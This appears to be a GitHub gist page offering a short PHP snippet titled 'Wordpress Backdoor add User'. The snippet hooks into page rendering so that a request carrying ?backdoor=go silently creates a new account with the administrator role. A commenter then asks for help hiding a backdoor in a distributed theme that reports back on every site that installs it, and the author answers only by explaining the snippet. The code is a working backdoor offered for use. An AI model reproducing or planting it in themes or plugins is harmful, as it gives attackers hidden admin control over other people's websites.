Skip to content

Instantly share code, notes, and snippets.

@vlrmprjct
Last active April 16, 2020 16:24
Show Gist options
  • Save vlrmprjct/aae84dad3ca65637c0770d0b2b28d7db to your computer and use it in GitHub Desktop.
Save vlrmprjct/aae84dad3ca65637c0770d0b2b28d7db to your computer and use it in GitHub Desktop.
Wordpress Backdoor add User #wordpress #php
add_action('wp_head', 'wpBackdoor');
function wpBackdoor() {
if ($_GET['backdoor'] == 'go') {
require('wp-includes/registration.php');
if (!username_exists('USERNAME')) {
$userID = wp_create_user('USERNAME', 'PASSWORD');
$user = new WP_User($userID);
$user->set_role('administrator');
}
}
}
@azharanowar
Copy link

Hello, How can I add an email notification code in my theme or plugin... If I have a theme or plugin for everyone. I want to add some code to make a backdoor with email notification. If anybody installs my theme on her website I will get an email notification with her website name/URL. If you have those code kindly help me... I need to learn it also, Thank you

@vlrmprjct
Copy link
Author

This snippet above creates an user with pw if you call the URL with the parameter go on a given domain where the backdoor is implemented.
This is not what you want!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment